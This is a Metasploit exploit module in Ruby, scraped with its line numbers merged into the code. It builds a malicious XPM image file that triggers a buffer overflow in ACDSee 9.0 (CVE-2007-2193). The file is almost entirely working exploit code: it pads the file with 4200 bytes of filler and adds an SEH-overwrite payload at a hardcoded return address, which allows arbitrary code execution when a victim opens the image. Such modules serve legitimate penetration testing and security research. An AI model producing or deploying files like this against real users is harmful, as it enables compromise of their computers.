Path: blob/master/modules/exploits/windows/fileformat/acdsee_xpm.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ACDSee XPM File Section Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in ACDSee 9.0.18When viewing a malicious XPM file with the ACDSee product,19a remote attacker could overflow a buffer and execute20arbitrary code.21},22'License' => MSF_LICENSE,23'Author' => 'MC',24'References' => [25[ 'CVE', '2007-2193' ],26[ 'OSVDB', '35236' ],27[ 'BID', '23620' ],28],29'DefaultOptions' => {30'EXITFUNC' => 'process',31'DisablePayloadHandler' => true,32'AllowWin32SEH' => true33},34'Payload' => {35'Space' => 750,36'BadChars' => "\x00",37'StackAdjustment' => -3500,38'EncoderType' => Msf::Encoder::Type::AlphanumUpper,39'DisableNops' => true,40},41'Platform' => 'win',42'Targets' => [43[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],44],45'Privileged' => false,46'DisclosureDate' => '2007-11-23',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),59]60)61end6263def exploit64filler = rand_text_alpha_upper(rand(25) + 1)6566# http://www.fileformat.info/format/xpm/67head = "/* XPM */\r\n"68head << "static char * #{filler}[] = {\r\n"69head << "\""7071buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)7273foot = "\",\r\n" + "};\r\n"7475xpm = head + buff + foot7677print_status("Creating '#{datastore['FILENAME']}' file ...")7879file_create(xpm)80end81end828384